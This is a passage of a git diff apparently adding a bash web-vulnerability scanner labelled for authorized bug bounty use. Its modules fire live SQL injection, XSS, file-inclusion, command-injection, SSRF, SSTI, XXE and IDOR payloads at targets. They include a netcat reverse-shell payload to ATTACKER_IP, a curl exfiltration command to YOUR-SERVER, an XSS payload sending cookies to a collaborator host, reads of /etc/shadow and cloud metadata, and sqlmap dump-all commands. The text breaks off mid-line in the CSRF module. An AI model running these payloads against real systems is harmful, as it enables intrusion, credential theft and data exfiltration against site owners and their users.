TERM="${TERM:-xterm}" clear 2>/dev/null; true + echo -e "${BRIGHT_RED}" + echo '┌──────────────────────────────────────────────┐' + echo '│ │' + echo '│ ████████╗██╗ ██╗███████╗ │' + echo '│ ╚══██╔══╝██║ ██║██╔════╝ │' + echo '│ ██║ ███████║█████╗ │' + echo '│ ██║ ██╔══██║██╔══╝ │' + echo '│ ██║ ██║ ██║███████╗ │' + echo '│ ╚═╝ ╚═╝ ╚═╝╚══════╝ │' + echo '│ │' + echo '│ ╔══════════════════════════════════════╗ │' + echo '│ ║ AUTONOMOUS ANALYZER v1.0 ║ │' + echo '│ ╚══════════════════════════════════════╝ │' + echo '│ │' + echo '│ Authorized Bug Bounty Use Only │' + echo '│ Drjonesxxx / Indianaholmes │' + echo '└──────────────────────────────────────────────┘' + echo -e "${NC}" +} + +print_step() { + echo -e "\n${CYAN}${ICON_GEAR} [${1}/${2}] ${3}${NC}" + echo -e "${DIM}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}" +} + +print_sub() { + echo -e " ${ICON_ARROW} ${DIM}${1}${NC}" +} + +print_ok() { + echo -e " ${GREEN}${ICON_SAFE} ${1}${NC}" +} + +print_find() { + echo -e " ${BRIGHT_RED}${ICON_FOUND} ${BOLD}${1}${NC}" + if [ -n "${2:-}" ]; then echo -e " ${YELLOW} Details: ${2}${NC}"; fi +} + +print_warn() { + echo -e " ${YELLOW}${ICON_WARN} ${1}${NC}" +} + +print_skip() { + echo -e " ${DIM}${ICON_SKIP} ${1}${NC}" +} + +print_error() { + echo -e " ${BRIGHT_RED}${ICON_ERROR} ${1}${NC}" + if [ -n "${2:-}" ]; then echo -e " ${RED} ${2}${NC}"; fi +} + +print_info() { + echo -e " ${BRIGHT_BLUE}${ICON_INFO} ${1}${NC}" +} + +print_brain() { + echo -e " ${MAGENTA}${ICON_BRAIN} ${1}${NC}" +} + +spinner() { + local pid=$1 + local msg=$2 + local spin='⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏' + local i=0 + while kill -0 $pid 2>/dev/null; do + i=$(( (i+1) % ${#spin} )) + printf "\r ${CYAN}${spin:$i:1}${NC} ${msg} " + sleep 0.1 + done + printf "\r ${GREEN}${ICON_DONE}${NC} ${msg} \n" +} + +separator() { + echo -e "${DIM}──────────────────────────────────────────────${NC}" +} diff --git a/lib/utils.sh b/lib/utils.sh new file mode 100755 index 0000000..9689607 --- /dev/null +++ b/lib/utils.sh @@ -0,0 +1,213 @@ +#!/usr/bin/env bash +# The Analyzer - Shared Utilities + +# Load colors +__UTILS_SRC="${BASH_SOURCE[0]}" +if command -v readlink &>/dev/null; then + while [ -h "$__UTILS_SRC" ]; do + __UTILS_SRC="$(readlink "$__UTILS_SRC")" + [[ "$__UTILS_SRC" != /* ]] && __UTILS_SRC="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/$__UTILS_SRC" + done +fi +SCRIPT_DIR="$(cd "$(dirname "$__UTILS_SRC")" && pwd 2>/dev/null)" || SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +unset __UTILS_SRC +source "$SCRIPT_DIR/colors.sh" + +# Config +export ANALYZER_DIR="$SCRIPT_DIR/.." +export VECTORS_DIR="$ANALYZER_DIR/vectors" +export REPORTS_DIR="$ANALYZER_DIR/reports" +export ENGINE_DIR="$ANALYZER_DIR/engine" +export TIMEOUT=30 +export MAX_VECTORS=10 +export OLLAMA_HOST="${OLLAMA_HOST:-http://10.30.20.110:11434}" +export OLLAMA_MODEL="${OLLAMA_MODEL:-granite4.1:8b}" + +# Check dependencies +check_deps() { + local missing=() + for cmd in curl jq; do + if ! command -v $cmd &>/dev/null; then + missing+=("$cmd") + fi + done + if [ ${#missing[@]} -gt 0 ]; then + print_error "Missing dependencies: ${missing[*]}" + print_info "Install: apt install ${missing[*]}" + exit 1 + fi +} + +# Check Ollama is running +check_ollama() { + if ! curl -s "$OLLAMA_HOST/api/tags" >/dev/null 2>&1; then + print_error "Ollama not running at $OLLAMA_HOST" + print_info "Start it: ollama serve" + return 1 + fi + print_ok "Ollama connected ($OLLAMA_HOST)" + return 0 +} + +# Call Ollama with a prompt, return response +ollama_prompt() { + local prompt="$1" + local system="$2" + local model="${3:-$OLLAMA_MODEL}" + + local payload=$(jq -n \ + --arg model "$model" \ + --arg prompt "$prompt" \ + --arg system "$system" \ + '{ + model: $model, + prompt: $prompt, + system: $system, + stream: false, + options: { + temperature: 0.2, + num_predict: 2048 + } + }') + + local response=$(curl -s "$OLLAMA_HOST/api/generate" \ + -H "Content-Type: application/json" \ + -d "$payload" 2>/dev/null) + + echo "$response" | jq -r '.response // "ERROR: No response"' 2>/dev/null +} + +# Sanitize URL for filenames +sanitize() { + echo "$1" | sed 's|https\?://||' | sed 's|/|_|g' | sed 's|[^a-zA-Z0-9._-]|_|g' +} + +# Extract domain from URL +get_domain() { + echo "$1" | sed 's|https\?://||' | cut -d/ -f1 | cut -d: -f1 +} + +# Extract base URL (protocol + domain) +get_base() { + echo "$1" | sed 's|\(https\?://[^/]*\).*|\1|' +} + +# Quick HTTP check +http_check() { + local url="$1" + curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "$url" 2>/dev/null +} + +# Get response headers +get_headers() { + local url="$1" + curl -sI --connect-timeout 5 --max-time 10 "$url" 2>/dev/null +} + +# Get page title +get_title() { + local url="$1" + curl -s --connect-timeout 5 --max-time 10 "$url" 2>/dev/null | sed -n 's/.*\([^<]*\)<\/title>.*/\1/p' | sed 's/<[^>]*>//g' | head -1 +} + +# Check if target is alive +target_alive() { + local code=$(http_check "$1") + [[ "$code" =~ ^[23] ]] && return 0 + return 1 +} + +# Run a command with timeout, return output +run_timeout() { + local cmd="$1" + local timeout="${2:-$TIMEOUT}" + timeout $timeout bash -c "$cmd" 2>/dev/null || echo "TIMEOUT_OR_ERROR" +} + +# Colorize severity +severity_color() { + case "$1" in + critical|CRITICAL) echo -e "${BRIGHT_RED}${BOLD}CRITICAL${NC}" ;; + high|HIGH) echo -e "${RED}${BOLD}HIGH${NC}" ;; + medium|MEDIUM) echo -e "${YELLOW}${BOLD}MEDIUM${NC}" ;; + low|LOW) echo -e "${BLUE}${BOLD}LOW${NC}" ;; + info|INFO) echo -e "${DIM}INFO${NC}" ;; + *) echo -e "${DIM}$1${NC}" ;; + esac +} + +# Create report header +init_report() { + local target="$1" + local domain=$(get_domain "$target") + local ts=$(date '+%Y-%m-%d_%H%M%S') + local report_file="$REPORTS_DIR/${domain}_${ts}.md" + + cat > "$report_file" << EOF +# The Analyzer Report +**Target:** $target +**Domain:** $domain +**Date:** $(date '+%Y-%m-%d %H:%M:%S') +**Analyst:** The Analyzer v1.0 +**Status:** In Progress + +--- + +## Reconnaissance + +EOF + echo "$report_file" +} + +# Append to report +append_report() { + local report="$1" + local content="$2" + echo -e "$content" >> "$report" +} + +# Finalize report +finalize_report() { + local report="$1" + local find_count="$2" + local vuln_count="$3" + + local ts=$(date '+%Y-%m-%d %H:%M:%S') + + cat >> "$report" << EOF + +--- + +## Summary + +- **Total Findings:** $find_count +- **Vulnerabilities:** $vuln_count +- **Completed:** $ts +- **Status:** Complete + +--- +*Generated by The Analyzer v1.0 — Authorized Bug Bounty Use Only* +EOF + + echo "$report" +} + +# List available vector modules +list_vectors() { + echo -e "${BOLD}Available Attack Vectors:${NC}" + echo "" + for f in "$VECTORS_DIR"/*.sh; do + local name=$(basename "$f" .sh) + local desc=$(head -5 "$f" | grep "^# Desc:" | sed 's/^# Desc: //') + local num=$(echo "$name" | cut -d- -f1) + printf " ${CYAN}[%02d]${NC} %-30s %s\n" "$num" "${name#?-}" "$desc" + done +} + +# User prompt with default +prompt_default() { + local msg="$1" + local default="$2" + read -p " ${ICON_ARROW} $msg [$default]: " input + echo "${input:-$default}" +} diff --git a/vectors/01-sqli.sh b/vectors/01-sqli.sh new file mode 100755 index 0000000..9b529f6 --- /dev/null +++ b/vectors/01-sqli.sh @@ -0,0 +1,83 @@ +#!/usr/bin/env bash +# Vector 01: SQL Injection +# Desc: Database injection attacks (basic, blind, time-based, error-based) +# Detect: Forms, login pages, URL parameters, search bars +# Severity: CRITICAL +# Tools: sqlmap, curl + +vector_sqli() { + local target="$1" + local report="$2" + local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1) + + print_info "Testing SQL Injection vectors..." + + # Find injectable parameters + local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10) + local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10) + + local findings=0 + + # 1. Basic SQLi test with sqlmap + if command -v sqlmap &>/dev/null; then + print_sub "Running sqlmap (basic scan)..." + local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \ + --output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100) + + if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then + local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5) + print_find "SQL Injection!" "$injectable" + + # Save finding + echo "SEVERITY: CRITICAL +VECTOR: SQL Injection +DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target) +EVIDENCE: $injectable +EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt" + + findings=$((findings + 1)) + fi + fi + + # 2. Manual error-based detection + print_sub "Checking error-based SQLi..." + local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--") + + for payload in "${error_payloads[@]}"; do + local test_url="${target}${target}" + [[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}" + + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then + print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload" + findings=$((findings + 1)) + break + fi + done + + # 3. Time-based blind detection + print_sub "Checking time-based blind SQLi..." + local sleep_test="${target}" + if [[ "$target" == *\?* ]]; then + sleep_test="${target}&id=1' OR SLEEP(3)--" + else + sleep_test="${target}?id=1' OR SLEEP(3)--" + fi + + local start_time=$(date +%s) + curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1 + local end_time=$(date +%s) + local elapsed=$((end_time - start_time)) + + if [ "$elapsed" -ge 3 ]; then + print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload" + echo "SEVERITY: CRITICAL +VECTOR: SQL Injection (Time-based Blind) +DETAIL: Time-based blind SQLi confirmed on $target +EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload +EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt" + findings=$((findings + 1)) + fi + + return $findings +} diff --git a/vectors/02-xss.sh b/vectors/02-xss.sh new file mode 100755 index 0000000..a92ddad --- /dev/null +++ b/vectors/02-xss.sh @@ -0,0 +1,76 @@ +#!/usr/bin/env bash +# Vector 02: Cross-Site Scripting (XSS) +# Desc: Reflected, Stored, DOM-based XSS detection +# Detect: Forms, search bars, URL parameters, comment sections +# Severity: HIGH +# Tools: curl, custom payloads + +vector_xss() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing XSS vectors..." + + local xss_payloads=( + "<script>alert(1)</script>" + '"><script>alert(1)</script>' + "<img src=x onerror=alert(1)>" + "';alert(1);//" + "\"><img src=x onerror=alert(1)>" + "<svg onload=alert(1)>" + "<input autofocus onfocus=alert(1)>" + "<body onload=alert(1)>" + ) + + # Test URL parameters + local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5) + + if [ -z "$url_params" ]; then + # Test query parameter + for payload in "${xss_payloads[@]}"; do + local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")" + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + + if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then + print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target" + echo "SEVERITY: HIGH +VECTOR: Cross-Site Scripting (Reflected) +DETAIL: Reflected XSS confirmed with payload: $payload +EVIDENCE: Payload echoed back in response +EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt" + findings=$((findings + 1)) + break + fi + done + else + # Test each parameter + for param in $url_params; do + for payload in "${xss_payloads[@]}"; do + local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload") + local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/") + + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then + print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..." + echo "SEVERITY: HIGH +VECTOR: Cross-Site Scripting (Reflected) +DETAIL: Reflected XSS in parameter '$param' on $target +EVIDENCE: Payload reflected in response +EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt" + findings=$((findings + 1)) + break 2 + fi + done + done + fi + + # Check for DOM XSS indicators + local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) + if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then + print_warn "Potential DOM XSS sinks detected in page source" + print_info "Manual review recommended for DOM-based XSS" + fi + + return $findings +} diff --git a/vectors/03-lfi.sh b/vectors/03-lfi.sh new file mode 100755 index 0000000..bc58caf --- /dev/null +++ b/vectors/03-lfi.sh @@ -0,0 +1,69 @@ +#!/usr/bin/env bash +# Vector 03: Local/Remote File Inclusion +# Desc: LFI/RFI via file parameters, path traversal +# Detect: file=, page=, include=, template=, load= parameters +# Severity: CRITICAL +# Tools: curl + +vector_lfi() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing File Inclusion (LFI/RFI) vectors..." + + local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content") + local lfi_payloads=( + "/etc/passwd" + "../../../../etc/passwd" + "../../../../windows/win.ini" + "/proc/self/environ" + "../../../../etc/hosts" + "php://filter/convert.base64-encode/resource=index" + "php://filter/convert.base64-encode/resource=config" + "/etc/nginx/nginx.conf" + "../../../../etc/shadow" + ) + + # Try common LFI parameters + for param in "${lfi_params[@]}"; do + for payload in "${lfi_payloads[@]}"; do + local test_url="" + if [[ "$target" == *\?* ]]; then + test_url="${target}&${param}=${payload}" + else + test_url="${target}?${param}=${payload}" + fi + + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + + if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then + print_find "LFI confirmed!" "File read via parameter $param with payload: $payload" + echo "SEVERITY: CRITICAL +VECTOR: Local File Inclusion (LFI) +DETAIL: LFI via parameter '$param' on $target +EVIDENCE: System files readable +EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt" + findings=$((findings + 1)) + break 2 + fi + + # Check for PHP filter base64 + if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then + local decoded=$(echo "$response" | base64 -d 2>/dev/null) + if [ -n "$decoded" ] && echo "$decoded" | grep -qi "<?php\|<\w+\s*\|config\|db_host\|DB_HOST"; then + print_find "LFI with PHP filter!" "Source code disclosure via php://filter" + echo "SEVERITY: CRITICAL +VECTOR: LFI via PHP Filter +DETAIL: PHP source code disclosure via php://filter on $target +EVIDENCE: Base64 encoded source retrieved and decoded +EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt" + findings=$((findings + 1)) + break 2 + fi + fi + done + done + + return $findings +} diff --git a/vectors/04-command-injection.sh b/vectors/04-command-injection.sh new file mode 100755 index 0000000..2b5742e --- /dev/null +++ b/vectors/04-command-injection.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# Vector 04: Command Injection +# Desc: OS command injection via input fields, parameters +# Detect: Ping, traceroute, nslookup, whois, host, exec parameters +# Severity: CRITICAL +# Tools: curl + +vector_cmdi() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing Command Injection vectors..." + + local cmd_params=("ping" "host" "lookup" "traceroute" "nslookup" "whois" "exec" "command" "cmd" "run" "trace" "target" "ip" "server") + local cmd_payloads=( + ";id" + "|id" + "`id`" + "$(id)" + ";whoami" + "|whoami" + ";uname -a" + "|cat /etc/passwd" + "& ping -c 1 127.0.0.1 &" + "| nc -e /bin/sh ATTACKER_IP 4444" + ";sleep 3" + "|sleep 3" + ) + + for param in "${cmd_params[@]}"; do + for payload in "${cmd_payloads[@]}"; do + local test_url="" + if [[ "$target" == *\?* ]]; then + test_url="${target}&${param}=${payload}" + else + test_url="${target}?${param}=${payload}" + fi + + local start_time=$(date +%s%N) + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + local end_time=$(date +%s%N) + local elapsed=$(( (end_time - start_time) / 1000000 )) + + # Check for command output in response + if echo "$response" | grep -qiE "uid=[0-9]+|gid=[0-9]+|groups=[0-9]+|root|bin|daemon|Linux"; then + print_find "Command Injection!" "Command output detected via parameter $param with payload: $payload" + echo "SEVERITY: CRITICAL +VECTOR: Command Injection +DETAIL: OS command injection via parameter '$param' on $target +EVIDENCE: System command output reflected in response +EXPLOIT: ;curl http://YOUR-SERVER/$(id | base64)" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi.txt" + findings=$((findings + 1)) + break 2 + fi + + # Time-based detection + if echo "$payload" | grep -q "sleep"; then + if [ "$elapsed" -ge 2000 ]; then + print_find "Time-based Command Injection!" "Response delayed ${elapsed}ms with sleep payload" + echo "SEVERITY: CRITICAL +VECTOR: Command Injection (Time-based) +DETAIL: Time-based command injection via parameter '$param' on $target +EVIDENCE: ${elapsed}ms delay with sleep payload +EXPLOIT: verify with: ;ping -c 5 YOUR-SERVER" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi-time.txt" + findings=$((findings + 1)) + break 2 + fi + fi + done + done + + return $findings +} diff --git a/vectors/05-ssrf.sh b/vectors/05-ssrf.sh new file mode 100755 index 0000000..95585cd --- /dev/null +++ b/vectors/05-ssrf.sh @@ -0,0 +1,55 @@ +#!/usr/bin/env bash +# Vector 05: Server-Side Request Forgery +# Desc: SSRF via URL params, file fetching, webhooks +# Detect: url=, src=, link=, fetch=, file=, callback=, webhook= parameters +# Severity: HIGH +# Tools: curl + +vector_ssrf() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing SSRF vectors..." + + local ssrf_params=("url" "src" "link" "fetch" "file" "callback" "webhook" "image" "img" "load" "read" "path" "dest" "redirect" "uri" "data") + local ssrf_targets=( + "http://169.254.169.254/latest/meta-data/" + "http://169.254.169.254/" + "http://127.0.0.1:80" + "http://127.0.0.1:8080" + "http://127.0.0.1:3306" + "http://127.0.0.1:6379" + "http://localhost/flag" + "file:///etc/passwd" + "file:///proc/self/environ" + "http://[::1]:80" + "http://0.0.0.0:80" + ) + + for param in "${ssrf_params[@]}"; do + for ssrf_target in "${ssrf_targets[@]}"; do + local test_url="" + if [[ "$target" == *\?* ]]; then + test_url="${target}&${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")" + else + test_url="${target}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")" + fi + + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + + if echo "$response" | grep -qi "ami-id\|instance-id\|public-keys\|security-credentials\|root:.*:0:0:\|uid=\|DB_HOST\|REDIS\|AWS_"; then + print_find "SSRF confirmed!" "Internal resource accessible via parameter $param -> $ssrf_target" + echo "SEVERITY: CRITICAL +VECTOR: Server-Side Request Forgery (SSRF) +DETAIL: SSRF via parameter '$param' on $target +EVIDENCE: Internal data accessible: ${response:0:100}... +EXPLOIT: Use to access cloud metadata, internal services, or read local files" > "$REPORTS_DIR/.finding_$(date +%s)_ssrf.txt" + findings=$((findings + 1)) + break 2 + fi + done + done + + return $findings +} diff --git a/vectors/06-open-redirect.sh b/vectors/06-open-redirect.sh new file mode 100755 index 0000000..478faec --- /dev/null +++ b/vectors/06-open-redirect.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash +# Vector 06: Open Redirect +# Desc: Unvalidated redirects via URL parameters +# Detect: redirect=, url=, next=, return=, goto= parameters +# Severity: MEDIUM +# Tools: curl + +vector_oredir() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing Open Redirect vectors..." + + local redirect_params=("redirect" "url" "next" "return" "goto" "to" "dest" "destination" "target" "r" "u" "out" "view" "dir") + local test_url="https://evil.com" + + for param in "${redirect_params[@]}"; do + local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${test_url}'))" 2>/dev/null || echo "$test_url") + local test="" + if [[ "$target" == *\?* ]]; then + test="${target}&${param}=${encoded}" + else + test="${target}?${param}=${encoded}" + fi + + local redirect=$(curl -sI --connect-timeout 5 --max-time 10 "$test" 2>/dev/null | grep -i "^location:" | tr -d '\r' | sed 's/[Ll]ocation: //') + + if echo "$redirect" | grep -qi "evil.com"; then + print_find "Open Redirect!" "Parameter $param redirects to external domain" + echo "SEVERITY: MEDIUM +VECTOR: Open Redirect +DETAIL: Open redirect via parameter '$param' on $target +EVIDENCE: Redirects to $test_url +EXPLOIT: Used for phishing: $target?$param=https://phishing-site.com" > "$REPORTS_DIR/.finding_$(date +%s)_oredir.txt" + findings=$((findings + 1)) + break + fi + done + + return $findings +} diff --git a/vectors/07-directory-traversal.sh b/vectors/07-directory-traversal.sh new file mode 100755 index 0000000..6454a91 --- /dev/null +++ b/vectors/07-directory-traversal.sh @@ -0,0 +1,50 @@ +#!/usr/bin/env bash +# Vector 07: Directory Traversal +# Desc: Path traversal to read arbitrary files +# Detect: file=, download=, doc=, pdf= parameters +# Severity: HIGH +# Tools: curl + +vector_dtrav() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing Directory Traversal vectors..." + + local trav_params=("file" "download" "doc" "pdf" "attachment" "d" "f" "folder" "dir" "img" "document" "view" "page") + + for param in "${trav_params[@]}"; do + local tests=( + "../../../../etc/passwd" + "..\\..\\..\\windows\\win.ini" + "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd" + "....//....//....//etc/passwd" + "..;/..;/..;/etc/passwd" + ) + + for trav in "${tests[@]}"; do + local test_url="" + if [[ "$target" == *\?* ]]; then + test_url="${target}&${param}=${trav}" + else + test_url="${target}?${param}=${trav}" + fi + + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + + if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]"; then + print_find "Directory Traversal!" "File read via $param with: $trav" + echo "SEVERITY: HIGH +VECTOR: Directory Traversal +DETAIL: Path traversal via parameter '$param' on $target +EVIDENCE: System files readable: ${response:0:100} +EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_dtrav.txt" + findings=$((findings + 1)) + break 2 + fi + done + done + + return $findings +} diff --git a/vectors/08-ssti.sh b/vectors/08-ssti.sh new file mode 100755 index 0000000..1b80a7e --- /dev/null +++ b/vectors/08-ssti.sh @@ -0,0 +1,53 @@ +#!/usr/bin/env bash +# Vector 08: Server-Side Template Injection +# Desc: SSTI in template engines (Jinja2, Twig, Freemarker, etc.) +# Detect: Template syntax errors, {{}} reflected, error pages +# Severity: CRITICAL +# Tools: curl + +vector_ssti() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing SSTI vectors..." + + local ssti_payloads=( + "{{7*7}}" + "\${7*7}" + "#{7*7}" + "*{7*7}" + "<%= 7*7 %>" + "${{7*7}}" + "{{config}}" + "${7*7}" + "{{''.__class__.__mro__[2].__subclasses__()}}" + ) + + for payload in "${ssti_payloads[@]}"; do + local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload") + local test_url="" + if [[ "$target" == *\?* ]]; then + test_url="${target}&q=${encoded}" + else + test_url="${target}?q=${encoded}" + fi + + local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) + + if echo "$response" | grep -q "49\|${payload}"; then + if echo "$response" | grep -q "49"; then + print_find "SSTI confirmed!" "Template engine evaluated {{7*7}} = 49" + echo "SEVERITY: CRITICAL +VECTOR: Server-Side Template Injection (SSTI) +DETAIL: SSTI confirmed on $target +EVIDENCE: Payload {{7*7}} evaluated to 49 +EXPLOIT: Possible RCE: {{''.__class__.__mro__[2].__subclasses__()}} (Jinja2)" > "$REPORTS_DIR/.finding_$(date +%s)_ssti.txt" + findings=$((findings + 1)) + break + fi + fi + done + + return $findings +} diff --git a/vectors/09-xxe.sh b/vectors/09-xxe.sh new file mode 100755 index 0000000..a46ffa6 --- /dev/null +++ b/vectors/09-xxe.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash +# Vector 09: XML External Entity (XXE) +# Desc: XXE injection via XML upload/params +# Detect: XML endpoints, SOAP APIs, RSS feeds +# Severity: CRITICAL +# Tools: curl + +vector_xxe() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing XXE vectors..." + + # Check if target accepts XML + local content_type=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^content-type:" | tr -d '\r') + + if echo "$content_type" | grep -qi "xml\|soap"; then + print_info "XML endpoint detected, testing XXE..." + + local xxe_payload='<?xml version="1.0"?> +<!DOCTYPE foo [ + <!ENTITY xxe SYSTEM "file:///etc/passwd"> +]> +<root>&xxe;</root>' + + local response=$(curl -s --connect-timeout 5 --max-time 10 \ + -X POST \ + -H "Content-Type: application/xml" \ + -d "$xxe_payload" \ + "$target" 2>/dev/null) + + if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:"; then + print_find "XXE confirmed!" "File read via external entity" + echo "SEVERITY: CRITICAL +VECTOR: XML External Entity (XXE) +DETAIL: XXE confirmed on $target +EVIDENCE: Internal file read via DTD entity +EXPLOIT: Blind XXE: use OOB exfiltration to attacker server" > "$REPORTS_DIR/.finding_$(date +%s)_xxe.txt" + findings=$((findings + 1)) + fi + else + print_skip "No XML endpoint detected" + fi + + return $findings +} diff --git a/vectors/10-idor.sh b/vectors/10-idor.sh new file mode 100755 index 0000000..94949bd --- /dev/null +++ b/vectors/10-idor.sh @@ -0,0 +1,46 @@ +#!/usr/bin/env bash +# Vector 10: Insecure Direct Object Reference +# Desc: Access control bypass via object IDs +# Detect: Numeric params, UUIDs, sequential IDs +# Severity: HIGH +# Tools: curl + +vector_idor() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing IDOR vectors..." + + local id_params=("id" "user_id" "uid" "account" "account_id" "profile" "order" "order_id" "invoice" "doc_id" "file_id" "pid" "cid" "sid" "token") + + for param in "${id_params[@]}"; do + # Try sequential IDs + for id in 1 2 100 999 1000 1001; do + local test_url="" + if [[ "$target" == *\?* ]]; then + test_url="${target}&${param}=${id}" + else + test_url="${target}?${param}=${id}" + fi + + local response=$(curl -s --connect-timeout 5 --max-time 10 \ + -H "User-Agent: Mozilla/5.0" \ + "$test_url" 2>/dev/null) + + # Check for data leakage (JSON, names, emails, amounts) + if echo "\$response" | grep -qiE '"email"|"credit_card"|"ssn"|"salary"|"balance"|"secret"|"private"|"admin"'; then + print_find "Potential IDOR!" "Data accessible via $param=$id" + echo "SEVERITY: HIGH +VECTOR: Insecure Direct Object Reference (IDOR) +DETAIL: Potential IDOR via parameter '$param' with value $id on $target +EVIDENCE: Sensitive data in response: ${response:0:200} +EXPLOIT: Enumerate IDs to access other users' data" > "$REPORTS_DIR/.finding_$(date +%s)_idor.txt" + findings=$((findings + 1)) + break 2 + fi + done + done + + return $findings +} diff --git a/vectors/11-csrf.sh b/vectors/11-csrf.sh new file mode 100755 index 0000000..f296be8 --- /dev/null +++ b/vectors/11-csrf.sh @@ -0,0 +1,63 @@ +#!/usr/bin/env bash +# Vector 11: Cross-Site Request Forgery +# Desc: Missing CSRF tokens in state-changing forms +# Detect: Forms without CSRF tokens, SameSite=None cookies +# Severity: MEDIUM +# Tools: curl + +vector_csrf() { + local target="$1" + local report="$2" + local findings=0 + + print_info "Testing CSRF vectors..." + + local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) + + # Find forms + local forms=$(echo "$page" | perl -nle 'print \$& if /<form[^>]*>/g' 2>/dev/null) + + if [ -z "$forms" ]; then + print_skip "No forms found to test" + return 0 + fi + + print_info "Found $(echo "$forms" | wc -l | tr -d ' ') form(s), checking CSRF protection..." + + local form_count=0 + while IFS= read -r form; do + form_count=$((form_count + 1)) + local form_method=$(echo "$form" | sed -n 